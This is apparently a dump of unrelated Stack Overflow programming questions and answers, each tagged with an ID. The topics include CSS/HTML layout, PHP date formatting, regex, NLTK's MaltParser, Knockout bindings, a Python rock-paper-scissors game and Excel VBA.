#container { margin: 0 auto; max-width: 600px; } h1, h3 { color: white; padding-top: 1%; padding-bottom: 0.5%; margin-top: 0; margin-bottom: 0; text-align: center; } #header { transition: 0.2s ease-in; } #nav { margin-top: 0; padding-top: 0; background: white; max-width: 100%; clear: left; } #nav p { margin: 0 auto; position: relative; max-width: 580px; } #reset { position: relative; } #hard { position: absolute; right: 0; } #easy { position: absolute; right: 50px; } #display { position: relative; left: 27%; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;RGBA Guess&lt;/title&gt; &lt;link rel="stylesheet" type="text/css" href="colorgame.css"&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="header"&gt; &lt;h3&gt; The Great &lt;/h3&gt; &lt;h1&gt; &lt;span id="guess"&gt;number&lt;/span&gt; &lt;/h1&gt; &lt;h3&gt; Guessing Game &lt;/h3&gt; &lt;/div&gt; &lt;div id="nav"&gt; &lt;p&gt; &lt;button id="reset"&gt;New Colors&lt;/button&gt; &lt;span id="display"&gt;&lt;/span&gt; &lt;button id="easy"&gt;Easy&lt;/button&gt; &lt;button id="hard" class="selected"&gt;Hard&lt;/button&gt; &lt;/p&gt; &lt;/div&gt; &lt;div id="container"&gt; &lt;div class="square" id="sqaure1"&gt;&lt;/div&gt; &lt;div class="square" id="sqaure2"&gt;&lt;/div&gt; &lt;div class="square" id="sqaure3"&gt;&lt;/div&gt; &lt;div class="square" id="sqaure4"&gt;&lt;/div&gt; &lt;div class="square" id="sqaure5"&gt;&lt;/div&gt; &lt;div class="square" id="sqaure6"&gt;&lt;/div&gt; &lt;/div&gt; &lt;script type="text/javascript" src="colorgame.js"&gt;&lt;/script&gt; &lt;/body&gt; &lt;/html&gt;</code></pre> </div> </div> </p> <p>I know, there is a better way to do this. I can instead call the randomColors(3) in easy mode, but I want to know what is it that I am doing wrong so that I can avoid it in the future.</p> <p>Than You</p>
19210874	0	PHP/MySQL - Best way to work with dates in DD MMM YYYY format? <p>I need to display dates in the <strong>DD MMM YYYY</strong> format on the website I'm working on. My first thought was to store the dates in a DATE type in MySQL, then convert to the proper format using PHP. However, this is just returning <strong>01 Jan 1970</strong> - not the actual date of <strong>04 May 1891</strong>. </p> <p>I found a few other places where people have asked similar questions and the answer was always something like <code>SELECT date_format(dt, '%d/%m/%Y')</code> which was giving me <strong>04/05/1891</strong>. I want the month to be 3 characters (May, Jun, Jul, Aug, etc).</p> <p>I thought about storing the dates as a VARCHAR but that seems like it would be bad practice. It looks like I will have to store the date as a string and will not be able to use the PHP date() function because it cannot handle dates prior to 1970.</p> <p>I may want to do things like calculate ages which sounds painful when dealing with strings... I am wondering if anyone has a more elegant solution?</p>
9157550	0	 <p><a href="http://xamarin.com/monotouch">Monotouch</a> is not a cross-compiler, and even if it were that alone would not cause a performance penalty.</p> <p>Monotouch is a .Net compatible runtime that <a href="http://www.mono-project.com/Mono%3aRuntime#Embedded_systems">runs on iOS embedded</a> within a normal c/obj-c program. It includes bindings for more or less the same things you can do from normal iOS apps. Monotouch apps are AOT compiled rather than JIT compiled so in most cases they run just as fast as "normal apps"</p> <p>The fact that <a href="http://www.sencha.com/products/touch">SenchaTouch</a> is a javascript framework suggests to me that you will be running mainly interpretted code. I'm sure the Sencha people have done a good job but I would be suprised if it were faster than mono. Looking at Sencha, one advantage is that you can write for android, blackberry and iOS. You can share much of your code between MonoTouch and <a href="http://xamarin.com/monoforandroid">Mono for Android</a>, you need two licenses and can't share everything.</p>
26800079	0	 <p>If you already have <code>NSData* dataRead</code> from "Safari Extensions List", just save it to a file:</p> <pre><code>[dataRead writeToFile:@"/tmp/extensions_list.plist" atomically:YES]; </code></pre>
35273100	0	How to catch up full gcc compile command <p>For example during use <code>make</code> or <code>b2</code> you can't see command, because build system invokes gcc implicitly. I want to know full command, which build system send to compiler. conceptually. I want to catch up it independently on build system. Maybe on system level, maybe do you know another way. OS: linux.</p>
13044573	0	 <p>you may use Session variable to store updated status and then check if it is available in otherpage.aspx,update textbox and reset it.</p> <p>Insert Page</p> <pre><code>if (CodeClass.InsertData(txtFirstName.Text, txtLastName.Text, Gender) == true) { Session["status"]="InsertSuccess"; Response.Redirect("OtherPage.aspx"); } } </code></pre> <p>Other Page</p> <pre><code>if (Session["status"]!=null) { txtLabel.Text = "Record inserted succesfully!"; Session["status"]=null; } </code></pre>
24981436	0	Show parks in terrain view <p>I use a map with the "terrain"-view on. But in this view the POI -> Parks are somehow overlayed. Any idea how to solve this? Maybe overlaying an terrain-map with an standard roadmap?</p> <p>Funny thing is: when zoom level >13, the Parks are shown, maybe this zoom level can be adjusted?</p> <p>I don't know how but somehow <a href="http://instaearth.me/" rel="nofollow">http://instaearth.me/</a> solved this problem.</p>
36039768	0	 <p>You can use</p> <pre><code>(?im)^.*\bthe car\b(?!.*\bnot\b).* </code></pre> <p>The <a href="https://regex101.com/r/pT0mP7/2" rel="nofollow">regex demo is available here</a></p> <p>Pattern breakdown:</p> <ul> <li><code>(?im)</code>- enable case-insensitive and multiline matching modes</li> <li><code>^</code> - start of a line (since <code>(?m)</code> is used)</li> <li><code>.*</code> - match 0+ any characters but a newline</li> <li><code>\bthe car\b</code> - 2 whole words "the car" (a sequence of 2 words)</li> <li><code>(?!.*\bnot\b)</code> - a negative lookahead that fails the match if there is a whole word "not" somewhere to the right of <code>the car</code></li> <li><code>.*</code> - the rest of the line up to the newline or end of string</li> </ul>
36200028	0	 <p>Try <strong>disabling all breakpoints when launching the app</strong> from Xcode. You can enable them afterwards.</p>
7977897	0	 <p>I am the product manager for the OpenPlug tools.</p> <p>Our tools are not the only ones that allow IPA signing on Windows (you mentioned marmalade, but there is also Adobe CS5/AIR/Flash Builder, and certainly others ...)</p> <p>As far as I know, Apple hasn't banned any app built with those tools on the ground that they were developed on a non-Apple-branded computer.</p> <p>For publishing your app you anyway need to access iTunes Connect from a Mac.</p> <p>Having the possibility to sign IPAs on Windows facilitates the dev/debug cycle on device if you are a developer with a Windows host.</p> <p>Technically, the signing tools are available open source from the Mach open source distribution of MacOSX. You can refer to the comments section of this post on Corona's blog (another app development tool) for discussion about legalities: <a href="http://blog.anscamobile.com/2010/03/does-flash-cs5-for-windows-violate-the-iphone-developer-agreement/" rel="nofollow">http://blog.anscamobile.com/2010/03/does-flash-cs5-for-windows-violate-the-iphone-developer-agreement/</a>.</p> <p>The last time I looked at Apple's agreements, its only the "SDK" (i.e. xCode and associated iOS SDK) that was only allowed for use on Apple-branded computers only.</p> <p>Hope this helps</p> <p>Guilhem</p>
15871394	0	 <p>this worked for me :)</p> <blockquote> <p>select * from Common </p> <p>where </p> <p>common_id not in (select <strong>ISNULL(common_id,'dummy-data')</strong> from Table1)</p> <p>and common_id not in (select <strong>ISNULL(common_id,'dummy-data')</strong> from Table2)</p> </blockquote>
22864141	0	Importing data to an array from db file in android <p>I have made a db file in sqlitestudio. I have saved the db file in assets folder of my application. Now I want to get data from that db file and store it in an array or list and use it in my app. Please help!</p>
9378889	0	sending data to servlet in json and other formats <p>I have my client as an android program. I take the user details from the the user and send it to the server for storing it in the database. I have used a URLConnection object to send data to the servlet. I am sending the user details in using 'writeObject'.</p> <pre><code>URL url = new URL("http://10.0.2.2:8080/hello"); URLConnection connection = url.openConnection(); connection.setDoOutput(true); ObjectOutputStream out=new ObjectOutputStream(connection.getOutputStream()); String s="check"+","+susername+","+password+","+email; out.writeObject(s); out.flush(); out.close(); </code></pre> <p>As you see I have seperated the details with ",". In the servlet, I used string .split() function to retrieve back the values. It is working perfectly fine. Except that I see and hear people telling me to send it in json format because it is faster. I don't understand how? The content is going to be the same right? Is it completely different protocol for transfering data? How should it be used? please suggest some links if you think this is a very trivial question.</p>
9980884	0	RijndaelManaged can not decrypt <p>The code can be found at: <a href="http://pastebin.com/3Yg5bHra" rel="nofollow">http://pastebin.com/3Yg5bHra</a></p> <p>My problem is, that when I decrypt then nothing gets returned at all. Nothing gets decrypted.</p> <p>It goes wrong somewhere around line 111-114. The cryptoStream (csDecrypt) is empty, eventhough I put data into the memorystream (msDecrypt)</p> <p><strong>EDIT</strong> Nudier came up with a solution</p>
16219227	0	 <p>First of all, you want</p> <pre><code>for (int x=0; x&lt;= numOfStudents; x++) </code></pre> <p>or when numOfStudents = 0 you'll never go into the loop.</p> <p>Also, does addButtonActionPerformed have a for loop that contains the code you've given us? Otherwise, it seems like every time you go into that method numOfStudents will be 0 and when you exit it'll be 1, but the code is only executed for numOfStudents = 0. Am I missing something?</p>
38959172	0	 <p>There is no way to get a set of IDs as a result of a bulk <code>INSERT</code>. </p> <p>One option you have is indeed to run a <code>SELECT</code> query to get the IDs and use them in the second bulk <code>INSERT</code>. But that's a hassle.</p> <p>Another option is to run the 2nd bulk <code>INSERT</code> into a <em>temporary</em> table, let's call it <code>table3</code>, then use <code>INSERT INTO table2 ... SELECT FROM ... table1 JOIN table3 ...</code></p> <p>With a similar use case we eventually found that this is the fastest option, given that you index <code>table3</code> correctly. Note that in this case you don't have a <code>SELECT</code> that you need to loop over in your code, which is nice.</p>
35984966	0	Angular bind to filtered count <p>I have this array:</p> <pre><code>[ { type: "hhh", items: [ { "name": "EGFR", "type": "a", "selected": true } ] }, { type: "aaa", items: [ { "name": "mm", "type": "b", "selected": false } ] }, { type: "ii", items: [ { "name": "pp", "type": "bb", "selected": true } ] } ] </code></pre> <p>I want to show a counter of the items with selected property "true". I want it to be changed real time when change. (Without watch and function)</p> <p>Thnaks!</p>
14065146	0	 <h1>Edited</h1> <p>Note that is answer is no longer working because of the updated version of the MaltParser API in NLTK since August 2015. This answer is kept for legacy sake.</p> <p>Please see this answers to get MaltParser working with NLTK:</p> <ul> <li><a href="http://stackoverflow.com/questions/13207394/step-by-step-to-getting-malt-parser-in-nltk-to-work">Step by step to getting malt parser in NLTK to work?</a></li> </ul> <p><strong>Disclaimer</strong>: This is not an eternal solutions. The answer in the above link (posted on Feb 2016) will work for now. But when MaltParser or NLTK API changes, it might also change the syntax to using MaltParser in NLTK.</p> <hr> <p>A couple problems with your setup:</p> <ul> <li>The input to <code>train_from_file</code> must be a file in CoNLL format, not a pre-trained model. For an <code>mco</code> file, you pass it to the <code>MaltParser</code> constructor using the <code>mco</code> and <code>working_directory</code> parameters.</li> <li>The default java heap allocation is not large enough to load that particular <code>mco</code> file, so you'll have to tell java to use more heap space with the <code>-Xmx</code> parameter. Unfortunately this wasn't possible with the existing code so I just checked in a change to allow an additional constructor parameters for java args. See <a href="https://github.com/nltk/nltk/commit/f63cdccca48c39141f18f79a2cd182f3964eaa93" rel="nofollow">here</a>.</li> </ul> <p>So here's what you need to do:</p> <p>First, get the latest NLTK revision:</p> <pre><code>git clone https://github.com/nltk/nltk.git </code></pre> <p>(NOTE: If you can't use the git version of NLTK, then you'll have to update the file <code>malt.py</code> manually or copy it from <a href="https://github.com/nltk/nltk/blob/master/nltk/parse/malt.py" rel="nofollow">here</a> to have your own version.)</p> <p>Second, rename the jar file to <code>malt.jar</code>, which is what NLTK expects:</p> <pre><code>cd /usr/lib/ ln -s maltparser-1.7.2.jar malt.jar </code></pre> <p>Then add an environment variable pointing to malt parser:</p> <pre><code>export MALTPARSERHOME="/Users/dhg/Downloads/maltparser-1.7.2" </code></pre> <p>Finally, load and use malt parser in python:</p> <pre><code>&gt;&gt;&gt; import nltk &gt;&gt;&gt; parser = nltk.parse.malt.MaltParser(working_dir="/home/rohith/malt-1.7.2", ... mco="engmalt.linear-1.7", ... additional_java_args=['-Xmx512m']) &gt;&gt;&gt; txt = "This is a test sentence" &gt;&gt;&gt; graph = parser.raw_parse(txt) &gt;&gt;&gt; graph.tree().pprint() '(This (sentence is a test))' </code></pre>
9335384	0	 <p>Well, dosen't really solve the problem, but as the container size was full size and the window is full size, i just checked the screen resolution and change the rect accordingly.</p>
21122427	0	hover parent change child of child <p>In the next example i want things to happen to my childs divs when i hover over the complete parent div. For example: i want the h2 and span of child1 to underline and the span of child2 to change from color (but not underline!).</p> <p>Is this possible with pure css? Or should i consider using JQuery? If so, could you help me get started on this in Jquery?</p> <pre><code> &lt;div class="parent"&gt; &lt;a href="#"&gt; &lt;div class="child1"&gt; &lt;h2&gt;text&lt;/h2&gt; &lt;span&gt;text&lt;/span&gt; &lt;/div&gt; &lt;div class="child2"&gt; &lt;span&gt;text&lt;/span&gt; &lt;/div&gt; &lt;/a&gt; &lt;/div&gt; </code></pre>
26152658	0	Auto-hiding navbar that works in IE <p>I made an auto-hiding navbar and it works great in chrome, but IE11 freaks out. the idea is that when you scroll down it hides, but it reappears if you scroll up. In IE11, I scrolled down and it hid the navbar. And then when I scrolled back up nothing happened for a second... and then the navbar appeared and disappeared 3 times in rapid succession... then a few seconds later it did it again. Any idea what's wrong?</p> <pre><code>&lt;script&gt; var lastScrollTop = 0; $(window).scroll(function(){ var st = $(this).scrollTop(); if (st &gt; lastScrollTop){ $('#header').animate({ marginTop: '-70px', opacity: 0 }, 200); } else { $('#header').animate({ marginTop: '0px', opacity: 1 }, 200); } lastScrollTop = st; }); &lt;/script&gt; </code></pre>
17504037	0	 <blockquote> <p>Is there a way to see how much ram the device has so i can use both resultion and memory to determin what size bitmap to use?</p> </blockquote> <p>The device RAM does not matter. The available memory <em>for your process</em> matters.</p> <p>To find out the memory class of your app, call <code>getMemoryClass()</code> on <code>ActivityManager</code> -- that basically returns the amount of available RAM for your process in MB.</p>
27428482	0	getting an instance of a CompiledMethod class <p>As far as I understand CompiledMethod is a class holding the compiled form of a method. An instance of this class is created each time a method is compiled. This instance is saved in the class to which the method belongs. </p> <p>My question is if I have a the name of the method, how can I get that instance that holds the compile form of a method in order to run that method with valueWithReceiver: ? </p> <p>is it by using compiledMethodAt: selector ?</p>
17531186	0	 <p>You need to pass it as a parameter or create a "global variable"</p> <p>IE you could do either of the following...</p> <pre><code>public void methodOne(String string){ System.out.println(string); } public void methodTwo(){ String string = "This string will be printed by methodOne"; methodOne(string); } </code></pre> <p>OR (a better solution)</p> <p>Create a global variable under the class declaration...</p> <pre><code>public class ThisIsAClass { String string; //accessible globally .... //way down the class public void methodOne(){ System.out.println(string); } public void methodTwo(){ String string = "This string will be printed by methodOne"; //edit the string here methodOne(); } </code></pre> <p>Let me know if you have any questions. Of course you will have to change <code>String string;</code> accordingly but it is the same concept with any variable. </p> <p>You said that your "sentence" is created in one of these methods and it hasn't been created when you declare it globally. All you need to do is create it globally, <code>String weatherLocation = null;</code> and then set it whenever you need to. I think it your example it would be under <code>weatherInfo()</code> </p> <pre><code>public void WeatherInfo(){ weatherLocation = weatherLoc[1].toString(); } </code></pre> <p>Instead of creating a new one we just edit the one we created globally.</p> <p>-Henry</p>
26749587	1	Yammer API wrapper <p>is the Yampy package, yammer-API wrapper for python still maintained? Authorization is easily completed, but I try to get messages from a certain user only.</p> <p>The reccomended way of doing so is using the messages factory (described here: <a href="http://pythonhosted.org/yampy/api.html#yampy.apis.MessagesAPI" rel="nofollow">http://pythonhosted.org/yampy/api.html#yampy.apis.MessagesAPI</a>)</p> <p>eg. <code>messages.from_user()</code> or <code>messages.sent()</code></p> <pre class="lang-python prettyprint-override"><code>yamm = yampy.Yammer(access_token=session.get('yammer_access_token')) user_id = current_user.get(u'id') msgs_dict = yamm.messages.from_user(user_id=user_id, limit=limit) msgs = msgs_dict.get(u'messages') for msg in msgs: print msg.get(u'sender_id') print "-----------------------------------" bla= yamm.messages.sent(limit=limit).get(u'messages') for blu in bla: print blu.get(u'sender_id') print "-----------------------------------" </code></pre> <p>The output of both of them is the same, and both of them don't match the user_id and the sender_id</p> <p>The Output will look like this:</p> <pre class="lang-none prettyprint-override"><code>user_id "-----------------------------------" user_id2 "-----------------------------------" user_id3 "-----------------------------------" another_user_id "-----------------------------------" </code></pre> <p>only one or two of the messages will actually match the wanted user_id of the <em>current_user</em></p> <p>The last commit has been 1 year back and I'm having doubts.</p>
16703836	0	 <p>Understanding that you're probably talking about a local/desktop machine and would probably like to <em>continue</em> talking about a local/desktop machine, I'll throw an alternative out there for you just in case it might help you or someone else:</p> <p>Set up multiple virtual server instances in the cloud, and share your code between them as a git repository (or mercurial, I suppose, though I have no personal experience all you really need is something decentralized). This has the benefit of giving you as close to a production experience as possible, and if you have experience setting up servers then it's not that complicated (or expensive, if you just want to spin a server up, do what you need to do, then spin it down again, then you're talking about a few cents up to say 50 cents, up to a few bucks if you just leave it running).</p> <p>I do all of my project development in the cloud these days and I've found it much simpler to manage the infrastructure than I ever did when using local/non-virtualized installs, and it makes this sort of side-by-side scenario fairly straight forward. I just wanted to throw the idea out there if you hadn't considered it.</p>
30942186	0	Need to write a C Program to remove repeated characters adjacent to each other <p>I need to remove only the repeated characters that are adjacent to each other. </p> <p>Example: if the input is <code>"heeellooo wooorllldd"</code>, the output should be <code>"helo world"</code>. The output I am currently getting is <code>"helo wrd"</code>.</p> <p>This is the code i have.</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; main() { char str[]="heeello wooorld"; redundant(str); } void redundant(char *str) { int check=0; int i,j; char ch; while(str[check]) { ch = str[check]; i = j = check + 1; while(str[i]) { if(str[i] != ch) { str[j] = str[i]; j++; } i++; } str[j]='\0'; check++; } printf("String after removing duplicates : %s\n",str); } </code></pre>
24789791	0	Copy specific Google Form response values into different Google Sheet <p>I have a Google Form that has many questions, but I only want to record some of the responses into a separate, condensed spreadsheet. These are the responses I want to record:</p> <pre><code>First Name Last Name Company Role </code></pre> <p>This is my script, which is triggered to execute on form submission:</p> <pre><code>function copyCondensedResponseData(e) { var array_to_paste_in_participant_attendance_sheet = []; array_to_paste_in_participant_attendance_sheet.push(e.namedValues["First Name"].toString()); array_to_paste_in_participant_attendance_sheet.push(e.namedValues["Last Name"].toString()); array_to_paste_in_participant_attendance_sheet.push(e.namedValues["Role"].toString()); array_to_paste_in_participant_attendance_sheet.push(e.namedValues["Company"].toString()); var participant_attendance_sheet = SpreadsheetApp.openById(/* id */).getSheets()[0]; participant_attendance_sheet.getRange(participant_attendance_sheet.getLastRow()+1,1).getValues()[0] = array_to_paste_in_participate_attendance_sheet; } </code></pre> <p>But nothing is pasted into the participate_attendance_sheet. I know that typically you copy data from one sheet into another by calling getRange() and setValues(), but I think that's only if the data I want to copy is of the class Object [ ] [ ]. Any thoughts?</p>
15948282	0	 <p>Look at signature:</p> <pre><code> IEnumerable&lt;SafeModeResult&gt; InsertBatch( Type nominalType, IEnumerable&lt;Object&gt; documents, SafeMode safeMode </code></pre> <p><a href="http://api.mongodb.org/csharp/1.1/html/cac72c74-ae6d-9b2e-a503-303a40104143.htm" rel="nofollow">SafeMode</a> can cause postpone you real batch write. Play with <code>FSyncTrue</code> (can be very slow) or <code>True</code>.</p>
14968488	0	Perl String Parsing to Hash <p>So lets say I had the string.</p> <pre><code> $my str = "Hello how are you today. Oh thats good I'm glad you are happy. Thats wonderful; thats fantastic." </code></pre> <p>I want to create a hash table where each key is a unique word and the value is the number of times it appears in the string i.e., I want it to be an automated process.</p> <pre><code>my %words { "Hello" =&gt; 1, "are" =&gt; 2, "thats" =&gt; 2, "Thats" =&gt; 1 }; </code></pre> <p>I honestly am brand new to PERL and have no clue how to do this, how to handle the punctuation etc.</p> <p>UPDATE:</p> <p>Also, is it possible to use</p> <pre><code> split('.!?;',$mystring) </code></pre> <p>Not with this syntax, but basically split at a . or ! or ? etc.. oh and ' ' (whitespace)</p>
23703133	0	 <p>Your first problem is that <code>-lpthread</code> is a linker option, so it belongs on the linker line (the second command) rather than the compilation line. (Note that the order of the parameters can matter; I got it to work by putting <code>-lpthread</code> on <strong>last</strong>. I also tried using <code>-pthread</code> instead of <code>-lpthread</code>, which did appear to work and was also less sensitive to where it was put on the linker line. But again, it's a <em>linker</em> option, not a <em>compile</em> option.)</p> <p>After fixing that, I was able to get your program to compile and run, but it exited with a different exception: <code>terminate called without an active exception</code>. To fix this problem, call <code>thread_fct.join();</code> in <code>main()</code>. (All threads must be joined, detached, or moved-from before they go out of scope, or your program will abort.)</p>
12893215	0	Windows languages without framework dependency? <p>I want to develop application which will communicate with my php server. This application will be used by multiple users. Please suggest any language which does not depend upon like c# depends upon dot net framework. I want something simple like gtalk which does not need to install any dependent framework.</p>
7916802	0	 <p>Change your HTML to:</p> <pre><code>&lt;div id="content" style="background-color: #E5E5E5; width:500px; height:500px;"&gt; &lt;div class="demo" style="border-style: dashed; background-color: #CCCCCC"&gt; &lt;div class="closebtn"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>Then change <code>.demo:before</code> in your CSS to <code>.closebtn</code> and add this to your JavaScript:</p> <pre><code>$('.closebtn').click(function(e) { e.stopPropagation(); $(this).parent().hide(); }); $('#content').click(function(e) { $('.demo').css({top:0,left:0}).show(); }); </code></pre> <p><a href="http://jsfiddle.net/mblase75/g6cdL/48/" rel="nofollow">http://jsfiddle.net/mblase75/g6cdL/48/</a></p>
23703831	0	How to call a method in another class from a generic method? <p>Why doesn't the line marked with <code>//Dont work in the bottom of the code</code> compile?</p> <p>I want to reuse the <code>WriteMessage</code> method with different Classes, I try to use <code>generics</code>, but I'm not sure how to use it.</p> <pre><code>class ClassOne { public string MethodOne() { return ("ClassOne"); } public string MethodTwo() { return ("ClassOne -MethodTwo "); } } class ClassTwo { public string MethodOne() { return ("ClassTwo"); } public string MethodTwo() { return ("ClassOne -MethodTwo "); } } class Program { private static void Main() { var objectOne = new ClassOne(); WriteMessage(objectOne); var objectTwo = new ClassTwo(); WriteMessage(objectTwo); Console.ReadKey(); } public static void WriteMessage&lt;T&gt;(T objectA) { var text = objectA.MethodTwo(); //Dont Work Console.WriteLine("Text:{0}", text); } } </code></pre>
1978267	0	 <p>You can also just put { } inside each case: statement<br> without them the whole case stack is evaluated as a single unit, so no variables can be defined within one case:</p> <p>But by putting </p> <pre><code> case blah: { // do stuff } break; </code></pre> <p>You can put anythign you want inside the case statement.</p>
40400581	0	Knockout JS: How to subscribe to changes in code similar to how binding handlers work <p>Let's say there is a path in the view-model property which needs to be observed, like this:</p> <pre><code>&lt;div data-bind="myBindingHandler: { data1: prop1().prop2().prop3() }"&gt;&lt;/div&gt; </code></pre> <p>This is easy to do in HTML with <code>data-bind</code> and binding handler, but doing this manually in JS code with <code>.subscribe()</code> is tedious.</p> <p>Is there a way in KO to be able to somehow give the same string and listen to changes? I imagine it would be something like this:</p> <pre><code>viewModelInstance.prop1.observe("prop2().prop3()", function (newValue) { console.log('prop3 value is", newValue); }); </code></pre> <p>I'm pretty sure somewhere in the KO implementation it's possible, but I wonder if it's really exposed. </p>
19268903	0	Restoring buttons back to its position <p>I searched stackoverflow for answers buy am unable to find one so i am posting a question.A helping hand is much appreciated.</p> <p>I am creating a quiz app.The layout contains six textview box and 12 buttons with letters.when user clicks on button textview gets filled with each letter and increments textview based on position so that all six textview box gets filled.i have also made buttons to disappear as soon as the text gets filled in textview.i am successful in implementing these steps but my question is how to make filled textview text empty so that the corresponding button gets reappeared?to be more clear i added onClickListener to textview but filled text in textview doesn't decrement. hope you have understand the question .i am still learning and am developing app from scratch.</p> <pre><code>switch(v.getId()) { case R.id.button1: { b1=(Button) findViewById(R.id.button1); String name1=b1.getText().toString(); tv.setText(name1); position++; b1.setVisibility(View.INVISIBLE); } break; case R.id.button2: b2=(Button) findViewById(R.id.button2); String name2=b2.getText().toString(); //blankbut.setText(name2); tv.setText(name2); position++; b2.setVisibility(View.INVISIBLE); break; case R.id.button3: b3=(Button) findViewById(R.id.button3); String name3=b3.getText().toString(); tv.setText(name3); //blankbut.setText(name3); position++; b3.setVisibility(View.INVISIBLE); break; case R.id.button4: b4=(Button) findViewById(R.id.button4); String name4=b4.getText().toString(); tv.setText(name4); //blankbut.setText(name4); position++; b4.setVisibility(View.INVISIBLE); break; case R.id.button5: b5=(Button) findViewById(R.id.button5); String name5=b5.getText().toString(); tv.setText(name5); //blankbut.setText(name5); position++; b5.setVisibility(View.INVISIBLE); break; case R.id.button6: b6=(Button) findViewById(R.id.button6); String name6=b6.getText().toString(); tv.setText(name6); //blankbut.setText(name6); position++; b6.setVisibility(View.INVISIBLE); break; case R.id.button7: b7=(Button) findViewById(R.id.button7); String name7=b7.getText().toString(); tv.setText(name7); // blankbut.setText(name7); position++; b7.setVisibility(View.INVISIBLE); break; case R.id.button8: b6=(Button) findViewById(R.id.button8); String name8=b8.getText().toString(); tv.setText(name8); //blankbut.setText(name8); position++; b8.setVisibility(View.INVISIBLE); break; case R.id.button9: b9=(Button) findViewById(R.id.button9); String name9=b9.getText().toString(); tv.setText(name9); //blankbut.setText(name9); position++; b9.setVisibility(View.INVISIBLE); break; case R.id.button10: b10=(Button) findViewById(R.id.button10); String name10=b10.getText().toString(); tv.setText(name10); //blankbut.setText(name10); position++; b10.setVisibility(View.INVISIBLE); break; case R.id.button11: b11=(Button) findViewById(R.id.button11); String name11=b11.getText().toString(); tv.setText(name11); //blankbut.setText(name11); position++; b11.setVisibility(View.INVISIBLE); break; case R.id.button12: b12=(Button) findViewById(R.id.button12); String name12=b12.getText().toString(); tv.setText(name12); //blankbut.setText(name12); position++; b12.setVisibility(View.INVISIBLE); break; } </code></pre>
22612337	0	R shiny, load data based on input <p>I have data for each day in server side and want to load data based on date input </p> <p>On server side, I have this:</p> <pre><code> dateInput("date","Enter a date:",value = "2014-01-13")) </code></pre> <p>On UI side, </p> <pre><code>library(shiny) library(googleVis) library(rpart.plot) load("data_2014_01_13_new.RData") #seg and fit are data in this file shinyServer(function(input, output) { output$values &lt;- renderGvis({ gvisTable(seg[seg$rate &gt;= input$test[1] &amp; seg$rate &lt;= input$test[2],]) }) output$plot &lt;- renderPlot({ prp(fit,extra=T) }) }) </code></pre> <p>I want to put load into server function and can load different data as date changes. Thanks!</p>
12300989	0	 <p>You can use the <code>start-with</code> in xpath to locate an attribute value that starts with a certain text.</p> <p>For example, assume you have the following link on the page:</p> <pre><code>&lt;a href="mylink_somerandomstuff"&gt;link text&lt;/a&gt; </code></pre> <p>Then you can use the following xpath to find links that have an href that starts with 'mylink':</p> <pre><code>//a[starts-with(@href, "mylink")] </code></pre>
29457168	0	 <p>The easiest way for executing phantomjs from C# code is using wrapper like <a href="https://www.nuget.org/packages/NReco.PhantomJS/" rel="nofollow">NReco.PhantomJS</a>. The following example illustrates how to use it for rasterize.js:</p> <pre><code>var phantomJS = new PhantomJS(); phantomJS.Run( "rasterize.js", new[] { "https://www.google.com", outFile} ); </code></pre> <p>Wrapper API has events for stdout and stderr; also it can provide input from C# Stream and read stdout result into C# stream. </p>
39322893	0	 <p>This could be shortened heavily but I don't feel like rewriting your entire program. This should work as expected.</p> <pre><code>total_guess = 0 wins = 0 loss = 0 import random characters = ["rock", "paper", "scissors", "lizard", "spock"] computer = characters[random.randint(0,4)] print(computer) def valid(text, flag): error_message= "" while True: var = input(error_message + text) if flag == "s": if var.isalpha()==True: break else: error_message = "This is not valid, " elif flag =="i": if var.isdigit()==True: var = int(var) break else: error_message = user_name + " this is not a number, " elif flag == "g": if var == "rock" or var == "paper" or var == "scissors" or var == "lizard" or var == "spock": break else: error_message = user_name + " this is not valid! " return(var) user_name = valid("What is your name?", "s") num_rounds = valid(user_name +" how many rounds do you want?", "i") while True: while num_rounds &gt; total_guess: player = valid(user_name + """ ,What do you want as your character: Rock, paper, scissors, lizard or spock""", "g" ) total_guess = total_guess + 1 if player == computer: print("Draw!") # -------------------------------------------- elif player == "Rock" or player == "rock": if computer == "paper" or computer == "spock" : loss = loss + 1 print(' '.join(("You lost", computer, "beats", player))) if computer == "scissors" or computer == "lizard": wins = wins + 1 print(' '.join(("You win", player, "beats", computer))) elif player == "Paper" or player == "paper": if computer == "scissors" or computer == "lizard": loss = loss + 1 print(' '.join(("You lost", computer, "beats", player))) if computer == "rock" or computer == "spock": wins = wins + 1 print(' '.join(("You win", player, "beats", computer))) elif player == "Scissors" or player == "scissors": if computer =="Spock" or computer == "rock": loss = loss + 1 print(' '.join(("You lost", computer, " beats ", player))) if computer =="paper" or computer == "lizard": wins = wins + 1 print(' '.join(("You win", player, "beats", computer))) elif player == "Lizard" or player =="lizard": if computer =="scissors" or computer == "rock": loss = loss + 1 print(' '.join(("You lost", computer, "beats", player))) if computer == "paper" or computer == "spock": wins = wins + 1 print(' '.join(("You win", player, "beats", computer))) elif player == "Spock" or player == "spock": if computer == "lizard" or computer == "paper": loss = loss + 1 print(' '.join(("You lost", computer, "beats", player))) if computer =="rock" or computer == "scissors": wins = wins + 1 print(' '.join(("You win", player, "beats", computer))) end_game = input("To exit enter N, to play again enter any key ") if end_game == 'n' or end_game == 'N': print("THANKS FOR PLAYING " + user_name + '!') break total_guess = 0 </code></pre>
4211328	0	 <p>This is VBA short-form for setting the value of a range of cells (or in this case, a single cell). So the example you've provided will actually insert the text value "FALSE" into cell AF6.</p> <p>If the colour of the other cell is not being set in code, then I would suggest it was done through conditional formatting.</p>
10612421	0	 <p>You can do this using the excel concatenate function. Here's a link to a <a href="http://office.microsoft.com/en-us/excel-help/concatenate-HP005209020.aspx" rel="nofollow">good tutorial</a></p> <p>Also, to deal with the duplicates, you can have excel highlight duplicate entries so they can be easily deleted. <a href="http://office.microsoft.com/en-us/excel-help/locate-duplicates-by-using-conditional-formatting-HA001136616.aspx" rel="nofollow">See here</a></p>
